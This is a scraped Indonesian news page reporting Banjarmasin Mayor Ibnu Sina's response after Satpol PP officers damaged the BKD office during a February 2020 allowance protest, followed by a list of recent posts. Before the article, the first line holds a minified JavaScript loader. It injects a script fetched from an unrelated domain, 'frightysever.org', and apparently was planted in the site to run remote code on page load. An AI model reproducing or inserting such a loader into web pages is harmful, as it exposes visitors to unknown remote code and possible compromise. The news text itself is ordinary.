(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Buntut Serbuan Anggota Satpol PP ke Kantor BKD Banjarmasin, Walikota Ibnu: Cukup Dibina Saja


KANALKALIMANTAN.COM, BANJARMASIN – Aksi demonstrasi anggota Satpol PP Kota Banjarmasin yang berujung pengerusakan kantor Badan Kepegawaian Daerah (BKD) Kota Banjarmasin disoroti Walikota Banjarmasin H Ibnu Sina. Ditemui pada Rabu (19/2/2020) siang, orang nomor satu di Balaikota Banjarmasin ini mengaku prihatin dengan pengerusakan yang terjadi di sela aksi demonstrasi aparat Satpol PP yang menuntut kenaikan tunjangan kinerja (tukin).

Apakah ada sanksi kepada oknum yang melakukan pengerusakan di kantor BKD? Ibnu menyebut semuanya diserahkan kepada pimpinan Satpol PP Kota Banjarmasin. Sehingga, alih-alih memberikan sanksi, solusi saat ini yang bisa diterapkan yaitu pembinaan kepada anggota Satpol PP saja.

Baca juga: KRONOLOGI SATPOL PP MENGAMUK DI KANTOR BKD BANJARMASIN

 “Karena di video rekaman ada, kemudian saksi-saksi sudah ada. Silakan saja Plt Kasatpol PP untuk melakukan pembinaan yang bersangkutan,” kata Ibnu.

Walikota Banjarmasin Ibnu Sina. foto: fikri

Ditanya apakah ada tuntutan dari BKD Kota Banjarmasin lantaran kantornya diobrak-abrik saat demonstrasi, Ibnu menyebut tidak ada tuntutan dari instansi kepegawaian itu. “Sampai sekarang belum ada tuntutan,” tegas Ibnu Sina.

Baca juga: Seruduk Kantor BKD, Satpol PP Banjarmasin Tuntut Kenaikan Tukin

Dikonfirmasi Kanalkalimantan.com secara terpisah, Plt Kasatpol PP Kota Banjarmasin Ichwan Noor Chalik membenarkan apa yang disampaikan Ibnu soal pembinaan kepada ASN yang mengrusak kantor BKD Kota Banjarmasin. “Betul sekali. 1000 persen,” kata Ichwan saat dihubungi melalui pesan singkat.

Bahkan, Ichwan menjamin dirinya bertanggung jawab terhadap insiden yang terjadi di Kantor BKD Banjarmasin pada Selasa (18/2/2020) kemarin. “Apabila anak buah saya salah, maka yang bersalah adalah saya dan yang harus diberi sanksi adalah saya,” tukas Ichwan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

6 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

6 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

6 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

10 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

10 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

12 jam ago

This website uses cookies.